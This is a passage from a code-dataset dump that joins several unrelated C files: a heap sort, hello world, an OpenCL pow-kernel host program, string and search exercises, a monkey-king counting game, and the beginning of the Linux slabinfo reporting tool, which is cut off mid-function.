void Heap_setArray(Heap* heap, int** arrayPtr, size_t capacity) {
assert(arrayPtr);
free(heap->heap);
heap->heap = *arrayPtr;
heap->capacity = capacity;
heap->size = capacity;
Heap_buildMaxHeap(heap);
// passaggio di responsabilità, ora l'array è sotto il controllo dell'Heap
*arrayPtr = NULL;
}
void Heap_print(Heap* heap) {
for (size_t i = 0; i < heap->size; i++) {
printf("%d ", heap->heap[i]);
}
puts("");
}
int* Heap_sort(Heap* heap) {
Heap_buildMaxHeap(heap);
heap->size = heap->capacity;
for (int i = heap->capacity - 1; i >= 1; i--) {
swap(heap->heap, heap->heap + i); // sposta il max corrente in fondo
heap->size--;
Heap_maxHeapify(heap, 0); // restore the heap
}
int* array = heap->heap;
heap->capacity = 0;
heap->size = 0;
// passaggio di responsabilità
heap->heap = NULL;
return array;
}
int main() {
Heap* heap = Heap_create();
int n;
scanf("%d", &n);
int* array = malloc(sizeof(*array) * n);
assert(array);
for (int i = 0; i < n; i++) {
scanf("%d", array + i);
}
Heap_setArray(heap, &array, n);
Heap_print(heap);
array = Heap_sort(heap);
for (size_t i = 0; i < n; i++) {
printf("%d ", array[i]);
}
puts("");
free(array);
Heap_free(&heap);
} |
the_stack_data/111077478.c | #include <stdio.h>
int main(){
printf("Hello World");
return 0;
}
|
the_stack_data/87537.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <CL/cl.h>
unsigned char *read_buffer(char *file_name, size_t *size_ptr)
{
FILE *f;
unsigned char *buf;
size_t size;
/* Open file */
f = fopen(file_name, "rb");
if (!f)
return NULL;
/* Obtain file size */
fseek(f, 0, SEEK_END);
size = ftell(f);
fseek(f, 0, SEEK_SET);
/* Allocate and read buffer */
buf = malloc(size + 1);
fread(buf, 1, size, f);
buf[size] = '\0';
/* Return size of buffer */
if (size_ptr)
*size_ptr = size;
/* Return buffer */
return buf;
}
void write_buffer(char *file_name, const char *buffer, size_t buffer_size)
{
FILE *f;
/* Open file */
f = fopen(file_name, "w+");
/* Write buffer */
if(buffer)
fwrite(buffer, 1, buffer_size, f);
/* Close file */
fclose(f);
}
int main(int argc, char const *argv[])
{
/* Get platform */
cl_platform_id platform;
cl_uint num_platforms;
cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformIDs' failed\n");
exit(1);
}
printf("Number of platforms: %d\n", num_platforms);
printf("platform=%p\n", platform);
/* Get platform name */
char platform_name[100];
ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformInfo' failed\n");
exit(1);
}
printf("platform.name='%s'\n\n", platform_name);
/* Get device */
cl_device_id device;
cl_uint num_devices;
ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceIDs' failed\n");
exit(1);
}
printf("Number of devices: %d\n", num_devices);
printf("device=%p\n", device);
/* Get device name */
char device_name[100];
ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name),
device_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceInfo' failed\n");
exit(1);
}
printf("device.name='%s'\n", device_name);
printf("\n");
/* Create a Context Object */
cl_context context;
context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateContext' failed\n");
exit(1);
}
printf("context=%p\n", context);
/* Create a Command Queue Object*/
cl_command_queue command_queue;
command_queue = clCreateCommandQueue(context, device, 0, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateCommandQueue' failed\n");
exit(1);
}
printf("command_queue=%p\n", command_queue);
printf("\n");
/* Program source */
unsigned char *source_code;
size_t source_length;
/* Read program from 'pow_floatfloat.cl' */
source_code = read_buffer("pow_floatfloat.cl", &source_length);
/* Create a program */
cl_program program;
program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateProgramWithSource' failed\n");
exit(1);
}
printf("program=%p\n", program);
/* Build program */
ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL);
if (ret != CL_SUCCESS )
{
size_t size;
char *log;
/* Get log size */
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size);
/* Allocate log and print */
log = malloc(size);
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL);
printf("error: call to 'clBuildProgram' failed:\n%s\n", log);
/* Free log and exit */
free(log);
exit(1);
}
printf("program built\n");
printf("\n");
/* Create a Kernel Object */
cl_kernel kernel;
kernel = clCreateKernel(program, "pow_floatfloat", &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateKernel' failed\n");
exit(1);
}
/* Create and allocate host buffers */
size_t num_elem = 10;
/* Create and init host side src buffer 0 */
cl_float *src_0_host_buffer;
src_0_host_buffer = malloc(num_elem * sizeof(cl_float));
for (int i = 0; i < num_elem; i++)
src_0_host_buffer[i] = (cl_float)(2.0);
/* Create and init device side src buffer 0 */
cl_mem src_0_device_buffer;
src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float), src_0_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create and init host side src buffer 1 */
cl_float *src_1_host_buffer;
src_1_host_buffer = malloc(num_elem * sizeof(cl_float));
for (int i = 0; i < num_elem; i++)
src_1_host_buffer[i] = (cl_float)(2.0);
/* Create and init device side src buffer 1 */
cl_mem src_1_device_buffer;
src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float), src_1_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create host dst buffer */
cl_float *dst_host_buffer;
dst_host_buffer = malloc(num_elem * sizeof(cl_float));
memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_float));
/* Create device dst buffer */
cl_mem dst_device_buffer;
dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_float), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create dst buffer\n");
exit(1);
}
/* Set kernel arguments */
ret = CL_SUCCESS;
ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer);
ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer);
ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clSetKernelArg' failed\n");
exit(1);
}
/* Launch the kernel */
size_t global_work_size = num_elem;
size_t local_work_size = num_elem;
ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueNDRangeKernel' failed\n");
exit(1);
}
/* Wait for it to finish */
clFinish(command_queue);
/* Read results from GPU */
ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_float), dst_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueReadBuffer' failed\n");
exit(1);
}
/* Dump dst buffer to file */
char dump_file[100];
sprintf((char *)&dump_file, "%s.result", argv[0]);
write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_float));
printf("Result dumped to %s\n", dump_file);
/* Free host dst buffer */
free(dst_host_buffer);
/* Free device dst buffer */
ret = clReleaseMemObject(dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 0 */
free(src_0_host_buffer);
/* Free device side src buffer 0 */
ret = clReleaseMemObject(src_0_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 1 */
free(src_1_host_buffer);
/* Free device side src buffer 1 */
ret = clReleaseMemObject(src_1_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Release kernel */
ret = clReleaseKernel(kernel);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseKernel' failed\n");
exit(1);
}
/* Release program */
ret = clReleaseProgram(program);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseProgram' failed\n");
exit(1);
}
/* Release command queue */
ret = clReleaseCommandQueue(command_queue);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseCommandQueue' failed\n");
exit(1);
}
/* Release context */
ret = clReleaseContext(context);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseContext' failed\n");
exit(1);
}
return 0;
} |
the_stack_data/187644198.c | /*
** my_strcat.c for my_strcat in /home/nomad/C/J4/barrea_m/my_strcat
**
** Made by BARREAU Martin
** Login <[email protected]>
**
** Started on Thu Oct 19 13:12:57 2017 BARREAU Martin
** Last update Sat Oct 21 12:40:18 2017 BARREAU Martin
*/
int my_strlen(char *str);
char *my_strcat(char *dest, char *src)
{
int i;
int j;
i = my_strlen(dest);
j = 0;
while (*(src + j))
{
*(dest + i + j) = *(src + j);
j += 1;
}
*(dest + i + j) = 0x0;
return (dest);
}
|
the_stack_data/54284.c | int v;
int func(int new_val)
{
v = new_val;
}
int main()
{
return func(1), 2 + v;
}
|
the_stack_data/176705572.c | #include <stdio.h>
int binarySearch(int array[], int x, int low, int high)
{
// Repeat until the pointers low and high meet each other
while (low <= high)
{
int mid = low + (high - low) / 2;
if (array[mid] == x)
return mid;
if (array[mid] < x)
low = mid + 1;
else
high = mid - 1;
}
return -1;
}
int main(void)
{
int array[] = {3, 4, 5, 6, 7, 8, 9};
int n = sizeof(array) / sizeof(array[0]);
int x = 4;
int result = binarySearch(array, x, 0, n - 1);
if (result == -1)
printf("Not found");
else
printf("Element is found at index %d", result);
return 0;
}
|
the_stack_data/93084.c | // game explanation (Work in progress): So there are 'n' monkeys,
// and they are tryin to figure out who is the king. They start by sitting in
// a circle and count 'm' to the right, the monkey that we're on will be 'out'.
// repeat the process until we're left with only one monkey. That monkey will
// be the king.
// this program outputs a log of who's out and the last one out is the king.
#include <stdio.h>
void main()
{
int k=1,i,counter,m,n;//10 monkeys,counting to 3
printf("explanation comming soon");
do//to prevent inputting a 0 or 100+
{
printf("\nn:");//input the n
scanf("%d",&n);
if(n<0 || n>100)
{
printf("Out of supporting values, please input again.");
}
}while(n<0 || n>100);
printf("\nm:");//input the m
scanf("%d",&m);
int monks[100];//max=100
printf("\n\n");
for(i=0;i<n;i++)//put everything to 1
{
monks[i]=1;
}
counter=0;
while(counter<n)
{
for(i=0;i<n;i++)
{
if(monks[i]!=0)//if you're already out, skip
{
if(k==m)//if we counted to m, ��� 1
{
monks[i]=0;//YOU'ER OUT
printf("%4d",i+1);//print out the 'out monkeys'
counter++;
k=1;//yes we've counted to m, now 1
}
else
{
k++; //skip
}
}
}
}
printf(" <-- THIS IS THE KING!!!\n\n\n"); //last one out
}
|
the_stack_data/941414.c | // SPDX-License-Identifier: GPL-2.0
/*
* Slabinfo: Tool to get reports about slabs
*
* (C) 2007 sgi, Christoph Lameter
* (C) 2011 Linux Foundation, Christoph Lameter
*
* Compile with:
*
* gcc -o slabinfo slabinfo.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <dirent.h>
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <stdarg.h>
#include <getopt.h>
#include <regex.h>
#include <errno.h>
#define MAX_SLABS 500
#define MAX_ALIASES 500
#define MAX_NODES 1024
struct slabinfo {
char *name;
int alias;
int refs;
int aliases, align, cache_dma, cpu_slabs, destroy_by_rcu;
int hwcache_align, object_size, objs_per_slab;
int sanity_checks, slab_size, store_user, trace;
int order, poison, reclaim_account, red_zone;
unsigned long partial, objects, slabs, objects_partial, objects_total;
unsigned long alloc_fastpath, alloc_slowpath;
unsigned long free_fastpath, free_slowpath;
unsigned long free_frozen, free_add_partial, free_remove_partial;
unsigned long alloc_from_partial, alloc_slab, free_slab, alloc_refill;
unsigned long cpuslab_flush, deactivate_full, deactivate_empty;
unsigned long deactivate_to_head, deactivate_to_tail;
unsigned long deactivate_remote_frees, order_fallback;
unsigned long cmpxchg_double_cpu_fail, cmpxchg_double_fail;
unsigned long alloc_node_mismatch, deactivate_bypass;
unsigned long cpu_partial_alloc, cpu_partial_free;
int numa[MAX_NODES];
int numa_partial[MAX_NODES];
} slabinfo[MAX_SLABS];
struct aliasinfo {
char *name;
char *ref;
struct slabinfo *slab;
} aliasinfo[MAX_ALIASES];
int slabs;
int actual_slabs;
int aliases;
int alias_targets;
int highest_node;
char buffer[4096];
int show_empty;
int show_report;
int show_alias;
int show_slab;
int skip_zero = 1;
int show_numa;
int show_track;
int show_first_alias;
int validate;
int shrink;
int show_inverted;
int show_single_ref;
int show_totals;
int sort_size;
int sort_active;
int set_debug;
int show_ops;
int show_activity;
int output_lines = -1;
int sort_loss;
int extended_totals;
int show_bytes;
/* Debug options */
int sanity;
int redzone;
int poison;
int tracking;
int tracing;
int page_size;
regex_t pattern;
static void fatal(const char *x, ...)
{
va_list ap;
va_start(ap, x);
vfprintf(stderr, x, ap);
va_end(ap);
exit(EXIT_FAILURE);
}
static void usage(void)
{
printf("slabinfo 4/15/2011. (c) 2007 sgi/(c) 2011 Linux Foundation.\n\n"
"slabinfo [-ahnpvtsz] [-d debugopts] [slab-regexp]\n"
"-a|--aliases Show aliases\n"
"-A|--activity Most active slabs first\n"
"-d<options>|--debug=<options> Set/Clear Debug options\n"
"-D|--display-active Switch line format to activity\n"
"-e|--empty Show empty slabs\n"
"-f|--first-alias Show first alias\n"
"-h|--help Show usage information\n"
"-i|--inverted Inverted list\n"
"-l|--slabs Show slabs\n"
"-n|--numa Show NUMA information\n"
"-o|--ops Show kmem_cache_ops\n"
"-s|--shrink Shrink slabs\n"
"-r|--report Detailed report on single slabs\n"
"-S|--Size Sort by size\n"
"-t|--tracking Show alloc/free information\n"
"-T|--Totals Show summary information\n"
"-v|--validate Validate slabs\n"
"-z|--zero Include empty slabs\n"
"-1|--1ref Single reference\n"
"-N|--lines=K Show the first K slabs\n"
"-L|--Loss Sort by loss\n"
"-X|--Xtotals Show extended summary information\n"
"-B|--Bytes Show size in bytes\n"
"\nValid debug options (FZPUT may be combined)\n"
"a / A Switch on all debug options (=FZUP)\n"
"- Switch off all debug options\n"
"f / F Sanity Checks (SLAB_CONSISTENCY_CHECKS)\n"
"z / Z Redzoning\n"
"p / P Poisoning\n"
"u / U Tracking\n"
"t / T Tracing\n"
);
}
static unsigned long read_obj(const char *name)
{
FILE *f = fopen(name, "r");
if (!f)
buffer[0] = 0;
else {
if (!fgets(buffer, sizeof(buffer), f))
buffer[0] = 0;
fclose(f);
if (buffer[strlen(buffer)] == '\n')
buffer[strlen(buffer)] = 0;
}
return strlen(buffer);
}
/*
* Get the contents of an attribute
*/
static unsigned long get_obj(const char *name)
{
if (!read_obj(name))
return 0;
return atol(buffer);
}
static unsigned long get_obj_and_str(const char *name, char **x)
{
unsigned long result = 0;
char *p;
*x = NULL;
if (!read_obj(name)) {
x = NULL;
return 0;
}
result = strtoul(buffer, &p, 10);
while (*p == ' ')
p++;
if (*p)
*x = strdup(p);
return result;
}
static void set_obj(struct slabinfo *s, const char *name, int n)
{
char x[100];
FILE *f;
snprintf(x, 100, "%s/%s", s->name, name);
f = fopen(x, "w");
if (!f)
fatal("Cannot write to %s\n", x);
fprintf(f, "%d\n", n);
fclose(f);
}
static unsigned long read_slab_obj(struct slabinfo *s, const char *name)
{
char x[100];
FILE *f;
size_t l;
snprintf(x, 100, "%s/%s", s->name, name);
f = fopen(x, "r");
if (!f) {
buffer[0] = 0;
l = 0;
} else {
l = fread(buffer, 1, sizeof(buffer), f);
buffer[l] = 0;
fclose(f);
}
return l;
}
/*
* Put a size string together
*/
static int store_size(char *buffer, unsigned long value)
{
unsigned long divisor = 1;
char trailer = 0;
int n;
if (!show_bytes) {
if (value > 1000000000UL) {
divisor = 100000000UL;
trailer = 'G';
} else if (value > 1000000UL) {
divisor = 100000UL;
trailer = 'M';
} else if (value > 1000UL) {
divisor = 100;
trailer = 'K';
}
}
value /= divisor;
n = sprintf(buffer, "%ld",value);
if (trailer) {
buffer[n] = trailer;
n++;
buffer[n] = 0;
}
if (divisor != 1) {
memmove(buffer + n - 2, buffer + n - 3, 4);
buffer[n-2] = '.';
n++;
}
return n;
}
static void decode_numa_list(int *numa, char *t)
{
int node;
int nr;
memset(numa, 0, MAX_NODES * sizeof(int));
if (!t)
return;
while (*t == 'N') {
t++;
node = strtoul(t, &t, 10);
if (*t == '=') {
t++;
nr = strtoul(t, &t, 10);
numa[node] = nr;
if (node > highest_node)
highest_node = node;
}
while (*t == ' ')
t++;
}
}
static void slab_validate(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
set_obj(s, "validate", 1);
}
static void slab_shrink(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
set_obj(s, "shrink", 1);
}
int line = 0;
static void first_line(void)
{
if (show_activity)
printf("Name Objects Alloc Free"
" %%Fast Fallb O CmpX UL\n");
else
printf("Name Objects Objsize %s "
"Slabs/Part/Cpu O/S O %%Fr %%Ef Flg\n",
sort_loss ? " Loss" : "Space");
}
/*
* Find the shortest alias of a slab
*/
static struct aliasinfo *find_one_alias(struct slabinfo *find)
{
struct aliasinfo *a;
struct aliasinfo *best = NULL;
for(a = aliasinfo;a < aliasinfo + aliases; a++) {
if (a->slab == find &&
(!best || strlen(best->name) < strlen(a->name))) {
best = a;
if (strncmp(a->name,"kmall", 5) == 0)
return best;
}
}
return best;
}
static unsigned long slab_size(struct slabinfo *s)
{
return s->slabs * (page_size << s->order);
}
static unsigned long slab_activity(struct slabinfo *s)
{
return s->alloc_fastpath + s->free_fastpath +
s->alloc_slowpath + s->free_slowpath;
}
static unsigned long slab_waste(struct slabinfo *s)
{
return slab_size(s) - s->objects * s->object_size;
}
static void slab_numa(struct slabinfo *s, int mode)
{
int node;
if (strcmp(s->name, "*") == 0)
return;
if (!highest_node) {
printf("\n%s: No NUMA information available.\n", s->name);
return;
}
if (skip_zero && !s->slabs)
return;
if (!line) {
printf("\n%-21s:", mode ? "NUMA nodes" : "Slab");
for(node = 0; node <= highest_node; node++)
printf(" %4d", node);
printf("\n----------------------");
for(node = 0; node <= highest_node; node++)
printf("-----");
printf("\n");
}
printf("%-21s ", mode ? "All slabs" : s->name);
for(node = 0; node <= highest_node; node++) {
char b[20];
store_size(b, s->numa[node]);
printf(" %4s", b);
}
printf("\n");
if (mode) {
printf("%-21s ", "Partial slabs");
for(node = 0; node <= highest_node; node++) {
char b[20];
store_size(b, s->numa_partial[node]);
printf(" %4s", b);
}
printf("\n");
}
line++;
}
static void show_tracking(struct slabinfo *s)
{
printf("\n%s: Kernel object allocation\n", s->name);
printf("-----------------------------------------------------------------------\n");
if (read_slab_obj(s, "alloc_calls"))
printf("%s", buffer);
else
printf("No Data\n");
printf("\n%s: Kernel object freeing\n", s->name);
printf("------------------------------------------------------------------------\n");
if (read_slab_obj(s, "free_calls"))
printf("%s", buffer);
else
printf("No Data\n");
}
static void ops(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
if (read_slab_obj(s, "ops")) {
printf("\n%s: kmem_cache operations\n", s->name);
printf("--------------------------------------------\n");
printf("%s", buffer);
} else
printf("\n%s has no kmem_cache operations\n", s->name);
}
static const char *onoff(int x)
{
if (x)
return "On ";
return "Off";
}
static void slab_stats(struct slabinfo *s)
{
unsigned long total_alloc;
unsigned long total_free;
unsigned long total;
if (!s->alloc_slab)
return;
total_alloc = s->alloc_fastpath + s->alloc_slowpath;
total_free = s->free_fastpath + s->free_slowpath;
if (!total_alloc)
return;
printf("\n");
printf("Slab Perf Counter Alloc Free %%Al %%Fr\n");
printf("--------------------------------------------------\n");
printf("Fastpath %8lu %8lu %3lu %3lu\n",
s->alloc_fastpath, s->free_fastpath,
s->alloc_fastpath * 100 / total_alloc,
total_free ? s->free_fastpath * 100 / total_free : 0);
printf("Slowpath %8lu %8lu %3lu %3lu\n",
total_alloc - s->alloc_fastpath, s->free_slowpath,
(total_alloc - s->alloc_fastpath) * 100 / total_alloc,
total_free ? s->free_slowpath * 100 / total_free : 0);
printf("Page Alloc %8lu %8lu %3lu %3lu\n",
s->alloc_slab, s->free_slab,
s->alloc_slab * 100 / total_alloc,
total_free ? s->free_slab * 100 / total_free : 0);
printf("Add partial %8lu %8lu %3lu %3lu\n",
s->deactivate_to_head + s->deactivate_to_tail,
s->free_add_partial,
(s->deactivate_to_head + s->deactivate_to_tail) * 100 / total_alloc,
total_free ? s->free_add_partial * 100 / total_free : 0);
printf("Remove partial %8lu %8lu %3lu %3lu\n",
s->alloc_from_partial, s->free_remove_partial,
s->alloc_from_partial * 100 / total_alloc,
total_free ? s->free_remove_partial * 100 / total_free : 0);
printf("Cpu partial list %8lu %8lu %3lu %3lu\n",
s->cpu_partial_alloc, s->cpu_partial_free,
s->cpu_partial_alloc * 100 / total_alloc,
total_free ? s->cpu_partial_free * 100 / total_free : 0);
printf("RemoteObj/SlabFrozen %8lu %8lu %3lu %3lu\n",
s->deactivate_remote_frees, s->free_frozen,
s->deactivate_remote_frees * 100 / total_alloc,
total_free ? s->free_frozen * 100 / total_free : 0);
printf("Total %8lu %8lu\n\n", total_alloc, total_free);
if (s->cpuslab_flush)
printf("Flushes %8lu\n", s->cpuslab_flush);
total = s->deactivate_full + s->deactivate_empty +
s->deactivate_to_head + s->deactivate_to_tail + s->deactivate_bypass;
if (total) {
printf("\nSlab Deactivation Occurrences %%\n");
printf("-------------------------------------------------\n");
printf("Slab full %7lu %3lu%%\n",
s->deactivate_full, (s->deactivate_full * 100) / total);
printf("Slab empty %7lu %3lu%%\n",
s->deactivate_empty, (s->deactivate_empty * 100) / total);
printf("Moved to head of partial list %7lu %3lu%%\n",
s->deactivate_to_head, (s->deactivate_to_head * 100) / total);
printf("Moved to tail of partial list %7lu %3lu%%\n",
s->deactivate_to_tail, (s->deactivate_to_tail * 100) / total);
printf("Deactivation bypass %7lu %3lu%%\n",
s->deactivate_bypass, (s->deactivate_bypass * 100) / total);
printf("Refilled from foreign frees %7lu %3lu%%\n",
s->alloc_refill, (s->alloc_refill * 100) / total);
printf("Node mismatch %7lu %3lu%%\n",
s->alloc_node_mismatch, (s->alloc_node_mismatch * 100) / total);
}
if (s->cmpxchg_double_fail || s->cmpxchg_double_cpu_fail) {
printf("\nCmpxchg_double Looping\n------------------------\n");
printf("Locked Cmpxchg Double redos %lu\nUnlocked Cmpxchg Double redos %lu\n",
s->cmpxchg_double_fail, s->cmpxchg_double_cpu_fail);
}
}
static void report(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
printf("\nSlabcache: %-15s Aliases: %2d Order : %2d Objects: %lu\n",
s->name, s->aliases, s->order, s->objects);
if (s->hwcache_align)
printf("** Hardware cacheline aligned\n");
if (s->cache_dma)
printf("** Memory is allocated in a special DMA zone\n");
if (s->destroy_by_rcu)
printf("** Slabs are destroyed via RCU\n");
if (s->reclaim_account)
printf("** Reclaim accounting active\n");
printf("\nSizes (bytes) Slabs Debug Memory\n");
printf("------------------------------------------------------------------------\n");
printf("Object : %7d Total : %7ld Sanity Checks : %s Total: %7ld\n",
s->object_size, s->slabs, onoff(s->sanity_checks),
s->slabs * (page_size << s->order));
printf("SlabObj: %7d Full : %7ld Redzoning : %s Used : %7ld\n",
s->slab_size, s->slabs - s->partial - s->cpu_slabs,
onoff(s->red_zone), s->objects * s->object_size);
printf("SlabSiz: %7d Partial: %7ld Poisoning : %s Loss : %7ld\n",
page_size << s->order, s->partial, onoff(s->poison),
s->slabs * (page_size << s->order) - s->objects * s->object_size);
printf("Loss : %7d CpuSlab: %7d Tracking : %s Lalig: %7ld\n",
s->slab_size - s->object_size, s->cpu_slabs, onoff(s->store_user),
(s->slab_size - s->object_size) * s->objects);
printf("Align : %7d Objects: %7d Tracing : %s Lpadd: %7ld\n",
s->align, s->objs_per_slab, onoff(s->trace),
((page_size << s->order) - s->objs_per_slab * s->slab_size) *
s->slabs);
ops(s);
show_tracking(s);
slab_numa(s, 1);
slab_stats(s);
}
static void slabcache(struct slabinfo *s)
{
char size_str[20];
char dist_str[40];
char flags[20];
char *p = flags;
if (strcmp(s->name, "*") == 0)
return;
if (actual_slabs == 1) {
report(s);
return;
}
if (skip_zero && !show_empty && !s->slabs)
return;
if (show_empty && s->slabs)
return;
if (sort_loss == 0)
store_size(size_str, slab_size(s));
else
store_size(size_str, slab_waste(s));
snprintf(dist_str, 40, "%lu/%lu/%d", s->slabs - s->cpu_slabs,
s->partial, s->cpu_slabs);
if (!line++)
first_line();
if (s->aliases)
*p++ = '*';
if (s->cache_dma)
*p++ = 'd';
if (s->hwcache_align)
*p++ = 'A';
if (s->poison)
*p++ = 'P';
if (s->reclaim_account)
*p++ = 'a';
if (s->red_zone)
*p++ = 'Z';
if (s->sanity_checks)
*p++ = 'F';
if (s->store_user)
*p++ = 'U';
if (s->trace)
*p++ = 'T';
*p = 0;
if (show_activity) {
unsigned long total_alloc;
unsigned long total_free;
total_alloc = s->alloc_fastpath + s->alloc_slowpath;
total_free = s->free_fastpath + s->free_slowpath;
printf("%-21s %8ld %10ld %10ld %3ld %3ld %5ld %1d %4ld %4ld\n",
s->name, s->objects,
total_alloc, total_free,
total_alloc ? (s->alloc_fastpath * 100 / total_alloc) : 0,
total_free ? (s->free_fastpath * 100 / total_free) : 0,
s->order_fallback, s->order, s->cmpxchg_double_fail,
s->cmpxchg_double_cpu_fail);
} else {
printf("%-21s %8ld %7d %15s %14s %4d %1d %3ld %3ld %s\n",
s->name, s->objects, s->object_size, size_str, dist_str,
s->objs_per_slab, s->order,
s->slabs ? (s->partial * 100) / s->slabs : 100,
s->slabs ? (s->objects * s->object_size * 100) /
(s->slabs * (page_size << s->order)) : 100,
flags);
}
}
/*
* Analyze debug options. Return false if something is amiss.
*/
static int debug_opt_scan(char *opt)
{
if (!opt || !opt[0] || strcmp(opt, "-") == 0)
return 1;
if (strcasecmp(opt, "a") == 0) {
sanity = 1;
poison = 1;
redzone = 1;
tracking = 1;
return 1;
}
for ( ; *opt; opt++)
switch (*opt) {
case 'F' : case 'f':
if (sanity)
return 0;
sanity = 1;
break;
case 'P' : case 'p':
if (poison)
return 0;
poison = 1;
break;
case 'Z' : case 'z':
if (redzone)
return 0;
redzone = 1;
break;
case 'U' : case 'u':
if (tracking)
return 0;
tracking = 1;
break;
case 'T' : case 't':
if (tracing)
return 0;
tracing = 1;
break;
default:
return 0;
}
return 1;
}
static int slab_empty(struct slabinfo *s)
{
if (s->objects > 0)
return 0;
/*
* We may still have slabs even if there are no objects. Shrinking will
* remove them.
*/
if (s->slabs != 0)
set_obj(s, "shrink", 1);
return 1;
}
static void slab_debug(struct slabinfo *s)
{
if (strcmp(s->name, "*") == 0)
return;
if (sanity && !s->sanity_checks) {
set_obj(s, "sanity", 1);
}
if (!sanity && s->sanity_checks) {
if (slab_empty(s))
set_obj(s, "sanity", 0);
else
fprintf(stderr, "%s not empty cannot disable sanity checks\n", s->name);
}
if (redzone && !s->red_zone) {
if (slab_empty(s))
set_obj(s, "red_zone", 1);
else
fprintf(stderr, "%s not empty cannot enable redzoning\n", s->name);
}
if (!redzone && s->red_zone) {
if (slab_empty(s))
set_obj(s, "red_zone", 0);
else
fprintf(stderr, "%s not empty cannot disable redzoning\n", s->name);
}
if (poison && !s->poison) {
if (slab_empty(s))
set_obj(s, "poison", 1);
else
fprintf(stderr, "%s not empty cannot enable poisoning\n", s->name);
}
if (!poison && s->poison) {
if (slab_empty(s))
set_obj(s, "poison", 0);
else
fprintf(stderr, "%s not empty cannot disable poisoning\n", s->name);
}
if (tracking && !s->store_user) {
if (slab_empty(s))
set_obj(s, "store_user", 1);
else
fprintf(stderr, "%s not empty cannot enable tracking\n", s->name);
}
if (!tracking && s->store_user) {
if (slab_empty(s))
set_obj(s, "store_user", 0);
else
fprintf(stderr, "%s not empty cannot disable tracking\n", s->name);
}
if (tracing && !s->trace) {
if (slabs == 1)
set_obj(s, "trace", 1);
else
fprintf(stderr, "%s can only enable trace for one slab at a time\n", s->name);
}
if (!tracing && s->trace)
set_obj(s, "trace", 1);
}
static void totals(void)
{
struct slabinfo *s;
int used_slabs = 0;
char b1[20], b2[20], b3[20], b4[20];
unsigned long long max = 1ULL << 63;
/* Object size */
unsigned long long min_objsize = max, max_objsize = 0, avg_objsize;
/* Number of partial slabs in a slabcache */
unsigned long long min_partial = max, max_partial = 0,
avg_partial, total_partial = 0;
/* Number of slabs in a slab cache */
unsigned long long min_slabs = max, max_slabs = 0,
avg_slabs, total_slabs = 0;
/* Size of the whole slab */
unsigned long long min_size = max, max_size = 0,
avg_size, total_size = 0;
/* Bytes used for object storage in a slab */
unsigned long long min_used = max, max_used = 0,
avg_used, total_used = 0;
